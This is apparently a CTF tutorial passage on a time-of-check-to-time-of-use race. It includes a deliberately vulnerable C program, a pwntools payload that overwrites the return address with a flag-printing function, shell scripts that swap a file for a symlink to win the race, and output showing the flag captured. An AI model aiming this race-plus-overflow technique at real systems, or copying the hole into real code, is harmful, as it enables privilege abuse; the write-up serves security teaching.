Problems¶
Constructed Example¶
Source Code¶
The source code is as follows:
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/stat.h>
#include <unistd.h>
void showflag() { system("cat flag"); }
void vuln(char *file, char *buf) {
int number;
int index = 0;
int fd = open(file, O_RDONLY);
if (fd == -1) {
perror("open file failed!!");
return;
}
while (1) {
number = read(fd, buf + index, 128);
if (number <= 0) {
break;
}
index += number;
}
buf[index + 1] = '\x00';
}
void check(char *file) {
struct stat tmp;
if (strcmp(file, "flag") == 0) {
puts("file can not be flag!!");
exit(0);
}
stat(file, &tmp);
if (tmp.st_size > 255) {
puts("file size is too large!!");
exit(0);
}
}
int main(int argc, char *argv[argc]) {
char buf[256];
if (argc == 2) {
check(argv[1]);
vuln(argv[1], buf);
} else {
puts("Usage ./prog <filename>");
}
return 0;
}
Analysis¶
We can see that the basic flow of the program is as follows:
- Check whether the command-line argument passed is "flag"; if so, exit.
- Check whether the file size corresponding to the command-line argument is greater than 255; if so, exit directly.
- Read the file content corresponding to the command-line argument into buf, where buf has a size of 256.
It seems like we checked the file size, and the buf size can also accommodate the maximum size. However, there is a race condition issue here.
If we delete the corresponding file after the program has checked its size and create a symbolic link to another larger file, the program will read more content, which will cause a stack overflow.
Basic Approach¶
So the basic approach is: we want to obtain the content of the corresponding flag. We just need to modify the return address of the main function through a stack overflow. By disassembling and debugging, we can obtain the address of showflag and construct the corresponding payload:
➜ racetest cat payload.py
from pwn import *
test = ELF('./test')
payload = 'a' * 0x100 + 'b' * 8 + p64(test.symbols['showflag'])
open('big', 'w').write(payload)
The two race condition scripts are:
➜ racetest cat exp.sh
#!/bin/sh
for i in `seq 500`
do
cp small fake
sleep 0.000008
rm fake
ln -s big fake
rm fake
done
➜ racetest cat run.sh
#!/bin/sh
for i in `seq 1000`
do
./test fake
done
Here, exp is used to race within the corresponding window to delete the fake file and create a symbolic link. run is used to execute the program.
Actual Results¶
➜ racetest (sh exp.sh &) && sh run.sh
[...]
file size is too large!!
open file failed!!: No such file or directory
open file failed!!: No such file or directory
open file failed!!: No such file or directory
open file failed!!: No such file or directory
file size is too large!!
open file failed!!: No such file or directory
open file failed!!: No such file or directory
flag{race_condition_succeed!}
[...]
The key to success lies in choosing the appropriate sleep time.